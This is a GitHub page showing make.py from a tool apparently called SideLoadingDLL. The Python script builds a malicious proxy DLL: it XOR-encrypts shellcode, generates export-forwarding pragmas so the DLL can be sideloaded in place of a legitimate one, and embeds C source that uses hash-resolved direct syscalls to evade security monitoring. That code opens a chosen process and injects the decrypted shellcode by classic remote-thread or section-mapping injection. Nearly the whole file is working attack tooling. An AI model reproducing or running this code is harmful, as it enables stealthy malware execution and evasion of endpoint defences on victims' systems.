-
Notifications
You must be signed in to change notification settings - Fork 22
Expand file tree
/
Copy pathmake.py
More file actions
402 lines (316 loc) · 14.7 KB
/
make.py
File metadata and controls
402 lines (316 loc) · 14.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
import optparse
import sys
import os
import pefile
dllmain = """// dllmain.c : Defines the entry point for the DLL application.
#include "windows.h"
#include "Defines.h"
#include "RecycleGate.h"
#include "stdio.h"
#define STATUS_SUCCESS 0
extern void PrepareSyscall(DWORD dwSycallNr, PVOID dw64Gate);
extern DoSyscall();
pragma_functions_placeholder
char key[] = "xor_key_placeholder";
void XOR(char* data, size_t data_len, char* key, size_t key_len) {
int j;
j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;
data[i] = data[i] ^ key[j];
j++;
}
}
void sleep()
{
for (int i = 0; i <= 500000; i++)
{
for (int j = 2; j <= i / 2; j++)
{
if (i % j == 0)
{
break;
}
}
}
}
HANDLE findTarget(char* target)
{
NTSTATUS status;
PVOID buffer;
PSYSTEM_PROCESS_INFO spi;
buffer = VirtualAlloc(NULL, 1024 * 1024, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // We need to allocate a large buffer because the process list can be large.
if (!buffer)
{
return -1;
}
spi = (PSYSTEM_PROCESS_INFO)buffer;
Syscall sysNtQuerySystemInformation = { 0x00 };
DWORD dwSuccess = FAIL;
dwSuccess = getSyscall(0xaf0d30ec, &sysNtQuerySystemInformation);
if (dwSuccess == FAIL)
return 0x01;
PrepareSyscall(sysNtQuerySystemInformation.dwSyscallNr, sysNtQuerySystemInformation.pRecycledGate);
if (!NT_SUCCESS(status = DoSyscall(SystemProcessInformation, spi, 1024 * 1024, NULL)))
{
VirtualFree(buffer, 0, MEM_RELEASE);
return -1;
}
while (spi->NextEntryOffset) // Loop over the list until we reach the last entry.
{
wchar_t pName[256];
memset(pName, 0, sizeof(pName));
WideCharToMultiByte(CP_ACP, 0, spi->ImageName.Buffer, spi->ImageName.Length, (LPSTR)pName, sizeof(pName), NULL, NULL);
int result = my_strcmp(target, (char*)pName);
if (!result) {
HANDLE pid = (HANDLE)spi->ProcessId;
VirtualFree(buffer, 0, MEM_RELEASE); // Free the allocated buffer.
return pid;
}
spi = (PSYSTEM_PROCESS_INFO)((LPBYTE)spi + spi->NextEntryOffset); // Calculate the address of the next entry.
}
VirtualFree(buffer, 0, MEM_RELEASE); // Free the allocated buffer.
return 0;
}
memcpy_placeholder
int ProxyFunction()
{
HANDLE file = NULL;
DWORD fileSize = NULL;
DWORD bytesRead = NULL;
LPVOID fileData = NULL;
// Reading our encrypted shellcode
file = CreateFileA("shellcode_file_placeholder", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (file == INVALID_HANDLE_VALUE) {
return 1;
}
fileSize = GetFileSize(file, NULL);
fileData = HeapAlloc(GetProcessHeap(), 0, fileSize);
ReadFile(file, fileData, fileSize, &bytesRead, NULL);
unsigned char* shellcode = (unsigned char*)fileData;
HANDLE Entry = findTarget("target_process_placeholder"); // Targeting the target_process_placeholder process
Syscall sysZwOpenProcess = { 0x0 };
NTSTATUS dwSuccess = FAIL;
HANDLE hProc = 0;
dwSuccess = getSyscall(0xda1009c3, &sysZwOpenProcess);
if (dwSuccess == FAIL)
return 0x01;
OBJECT_ATTRIBUTES oa;
CLIENT_ID cid = { (HANDLE)Entry, NULL };
InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);
PrepareSyscall(sysZwOpenProcess.dwSyscallNr, sysZwOpenProcess.pRecycledGate);
DoSyscall(&hProc, PROCESS_ALL_ACCESS, &oa, &cid);
if (hProc != NULL)
{
technique_function_placeholder
}
return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
ProxyFunction();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
"""
classic_injection = """Syscall sysNtAllocateVirtualMemory = { 0x0 };
Syscall sysNtWriteVirtualMemory = { 0x0 };
Syscall sysNtCreateThreadEx = { 0x0 };
DWORD dwSuccess = FAIL;
// Prepare the syscalls
dwSuccess = getSyscall(0x26d18008, &sysNtAllocateVirtualMemory);
if (dwSuccess == FAIL)
return 0x01;
dwSuccess = getSyscall(0xd4b1e4d6, &sysNtWriteVirtualMemory);
if (dwSuccess == FAIL)
return 0x01;
dwSuccess = getSyscall(0x8a4e6274, &sysNtCreateThreadEx);
if (dwSuccess == FAIL)
return 0x01;
// Initialing the varibales
HANDLE threadHandle = NULL;
LPVOID ds = NULL;
SIZE_T wr;
SIZE_T shellcodeSize = fileSize;
XOR((char*)shellcode, shellcodeSize, (char*)key, sizeof(key)); // Decrypting the shellcode
sleep(); // Own implementation of sleep function
PrepareSyscall(sysNtAllocateVirtualMemory.dwSyscallNr, sysNtAllocateVirtualMemory.pRecycledGate);
DoSyscall(hProc, &ds, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
PrepareSyscall(sysNtWriteVirtualMemory.dwSyscallNr, sysNtWriteVirtualMemory.pRecycledGate);
DoSyscall(hProc, ds, shellcode, shellcodeSize-1, &wr);
PrepareSyscall(sysNtCreateThreadEx.dwSyscallNr, sysNtCreateThreadEx.pRecycledGate);
DoSyscall(&threadHandle, THREAD_ALL_ACCESS, &oa, hProc, (LPTHREAD_START_ROUTINE)ds, ds, FALSE, 0, 0, 0, NULL);"""
mapviewsection_injection = """Syscall sysZwCreateSection = { 0x0 };
Syscall sysNtMapViewOfSection = { 0x0 };
Syscall sysNtCreateThreadEx = { 0x0 };
Syscall sysNtResumeThread = { 0x0 };
Syscall sysNtDelayExeuction = { 0x0 };
DWORD dwSuccess = FAIL;
// Prepare the syscalls
dwSuccess = getSyscall(0x6805b1fb, &sysZwCreateSection);
if (dwSuccess == FAIL)
return 0x01;
dwSuccess = getSyscall(0x625d5a2e, &sysNtMapViewOfSection);
if (dwSuccess == FAIL)
return 0x01;
dwSuccess = getSyscall(0x8a4e6274, &sysNtCreateThreadEx);
if (dwSuccess == FAIL)
return 0x01;
dwSuccess = getSyscall(0x6d397e74, &sysNtResumeThread);
if (dwSuccess == FAIL)
return 0x01;
SIZE_T shellcodeSize = fileSize;
HANDLE hSection = NULL;
NTSTATUS status = NULL;
SIZE_T size = fileSize;
LARGE_INTEGER sectionSize = { size };
PVOID pLocalView = NULL, pRemoteView = NULL;
int viewUnMap = 2;
XOR((char*)shellcode, shellcodeSize, key, sizeof(key));
PrepareSyscall(sysZwCreateSection.dwSyscallNr, sysZwCreateSection.pRecycledGate);
if ((status = DoSyscall(&hSection, SECTION_ALL_ACCESS, NULL, (PLARGE_INTEGER)§ionSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != STATUS_SUCCESS) {
return -1;
}
PrepareSyscall(sysNtMapViewOfSection.dwSyscallNr, sysNtMapViewOfSection.pRecycledGate);
if ((status = DoSyscall(hSection, GetCurrentProcess(),
&pLocalView, NULL, NULL, NULL,
(PULONG)&size, (SECTION_INHERIT)viewUnMap, NULL, PAGE_READWRITE)) != STATUS_SUCCESS) {
return -1;
}
VxMoveMemory(pLocalView, shellcode, shellcodeSize);
PrepareSyscall(sysNtMapViewOfSection.dwSyscallNr, sysNtMapViewOfSection.pRecycledGate);
if ((status = DoSyscall(hSection, hProc, &pRemoteView, NULL, NULL, NULL,
(PULONG)&size, (SECTION_INHERIT)viewUnMap, NULL, PAGE_EXECUTE_READWRITE)) != STATUS_SUCCESS) {
return -1;
}
HANDLE hHostThread = INVALID_HANDLE_VALUE;
PrepareSyscall(sysNtCreateThreadEx.dwSyscallNr, sysNtCreateThreadEx.pRecycledGate);
if (( status = DoSyscall(&hHostThread, THREAD_ALL_ACCESS, &oa, hProc, (LPTHREAD_START_ROUTINE)pRemoteView, pRemoteView, FALSE, 0, 0, 0, NULL)) != STATUS_SUCCESS)
{
return -1;
}
PrepareSyscall(sysNtResumeThread.dwSyscallNr, sysNtResumeThread.pRecycledGate);
DoSyscall(hHostThread);"""
memcopy_function = """PVOID VxMoveMemory(PVOID dest, const PVOID src, SIZE_T len) {
char* d = (char*)dest;
char* s = (char*)src;
if (d < s)
while (len--)
*d++ = *s++;
else {
char* lasts = s + (len - 1);
char* lastd = d + (len - 1);
while (len--)
*lastd-- = *lasts--;
}
return dest;
}"""
def logBanner():
banner =r"""
__ _ _ __ _ _ ___ __ __
/ _(_) __| | ___ / / ___ __ _ __| (_)_ __ __ _ / \/ / / /
\ \| |/ _` |/ _ \/ / / _ \ / _` |/ _` | | '_ \ / _` | / /\ / / / /
_\ \ | (_| | __/ /__| (_) | (_| | (_| | | | | | (_| |/ /_// /___/ /___
\__/_|\__,_|\___\____/\___/ \__,_|\__,_|_|_| |_|\__, /___,'\____/\____/
|___/
SideLoadingDLL! Made by MaorSabag!! v1.1
"""
print (banner)
def xor(data, key):
key = str(key)
l = len(key)
output_str = ""
for i in range(len(data)):
current = data[i]
current_key = key[i % len(key)]
try:
output_str += chr(current ^ ord(current_key))
except:
output_str += chr(ord(current) ^ ord(current_key))
return output_str
def encryptShellcode(raw_shellcode, output_filename, KEY):
plaintext = open(raw_shellcode, "rb").read()
ciphertext = xor(plaintext, KEY)
hex_cipher = '\\x' + '\\x'.join(hex(ord(x))[2:].zfill(2) for x in ciphertext) + ''
python_file = """a=b"replace_me";h=open("name_replace", "wb");h.write(a);h.close()""".replace(r"replace_me", hex_cipher).replace(r"name_replace", output_filename) # For real I couln't make the xor encryption work in any other way....
exec(python_file)
def proxyFunctions(targetDLL):
targetDLL = targetDLL.replace("\\", "/") if "\\" in targetDLL else targetDLL
# If our dll can be found in the system32 directory let's not make a copy and telling dll where is the original
if targetDLL.lower().startswith("c:/windows/system32"):
pe = pefile.PE(targetDLL)
dll = targetDLL.replace("/", "\\\\").split(".dll")[0]
d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
pe.parse_data_directories(directories=d)
exports = [(e.ordinal, e.name.decode()) for e in pe.DIRECTORY_ENTRY_EXPORT.symbols if e.name]
pragma_list = []
for e in exports:
pragma_list.append('#pragma comment(linker,"/export:{func}={dll}.{func},@{ord}")'.format(func=e[1], dll=dll, ord=e[0]))
return pragma_list
# If our DLL is in a local directory let's make a copy and proxy to it
else:
pe = pefile.PE(targetDLL)
dll = targetDLL.strip(".dll") + "_origin"
os.system(f"copy {targetDLL} Output/{dll}.dll")
d = [pefile.DIRECTORY_ENTRY["IMAGE_DIRECTORY_ENTRY_EXPORT"]]
pe.parse_data_directories(directories=d)
exports = [(e.ordinal, e.name.decode()) for e in pe.DIRECTORY_ENTRY_EXPORT.symbols if e.name]
pragma_list = []
for e in exports:
pragma_list.append('#pragma comment(linker,"/export:{func}={dll}.{func},@{ord}")'.format(func=e[1], dll=dll, ord=e[0]))
return pragma_list
def main():
global dllmain
logBanner()
parser = optparse.OptionParser(usage="Usage {} [-k | --key= XOR key] [-f | --file= Shellcode File] [-o | --output= output file name] [-t | --target= Target Process] [-d | --dll= DLL to proxy ] [ -m | --method= shellcode execution (Options: classic, mapview) ]".format(sys.argv[0]), version="{} 1.0".format(sys.argv[0]))
parser.add_option('-k','--key=', dest='xorKey', type='string', help='Specify the KEY for XOR encryption/Decryption')
parser.add_option('-f','--file=', dest='shellcodeFile', type='string', help='Specify the shellcode file')
parser.add_option('-o','--output=', dest='outputFilename', type='string', help='Specify the output filename')
parser.add_option('-t','--target=', dest='targetProcess', type='string', help='Specify the target process to inject the shellcode')
parser.add_option('-d','--dll=', dest='targetDLL', type='string', help='Specify the DLL for sideloading')
parser.add_option('-m','--method=', dest='method', type='string', help='Specify the method for shellcode execution (Options: classic, mapview)')
(options, args) = parser.parse_args()
if (options.xorKey == None) or (options.shellcodeFile == None) or (options.outputFilename == None) or(options.targetProcess == None) or (options.targetDLL == None):
print (parser.usage)
exit(0)
else:
xorKey = options.xorKey
shellcodeFile = options.shellcodeFile
outputFilename = options.outputFilename
targetProcess = options.targetProcess
targetDLL = options.targetDLL
method = "classic" if options.method is None else options.method
if method.lower() not in ["classic", "mapview"]:
print(parser.usage)
exit(0)
print(f"[+] Encrypting the shellcode using xor with the key {xorKey}")
encryptShellcode(shellcodeFile, outputFilename, xorKey)
print(f"[+] Generating pragma header for proxy DLL {targetDLL}")
pragma_list = '\n'.join(proxyFunctions(targetDLL))
if method.lower() == "classic":
dllmain = dllmain.replace(r"memcpy_placeholder", "").replace(r"technique_function_placeholder", classic_injection)
elif method.lower() == "mapview":
dllmain = dllmain.replace(r"memcpy_placeholder", memcopy_function).replace(r"technique_function_placeholder", mapviewsection_injection)
else:
print("Error occur.. try again")
exit(0)
print("[+] Making the dllmain file")
dllmain = dllmain.replace(r"pragma_functions_placeholder", pragma_list).replace(r"xor_key_placeholder", xorKey).replace(r"shellcode_file_placeholder", outputFilename).replace(r"target_process_placeholder", targetProcess)
with open("./SideLoadingDLL/SideLoadingDLL/dllmain.c", "w") as h:
h.write(dllmain)
print("[+] Compiling DLL")
os.system('msbuild /nologo /verbosity:quiet /consoleloggerparameters:ErrorsOnly ./SideLoadingDLL/SideLoadingDLL.sln /t:Rebuild /p:Configuration=Release /p:Platform="x64"')
if not os.path.exists('Output'):
os.makedirs('Output')
print("[+] Moving everything to Output directory")
os.system(f"move .\\SideLoadingDLL\\x64\\Release\\SideLoadingDLL.dll .\\Output\\{targetDLL.split('/')[-1]} && move {outputFilename} Output/{outputFilename}")
if __name__ == "__main__":
main()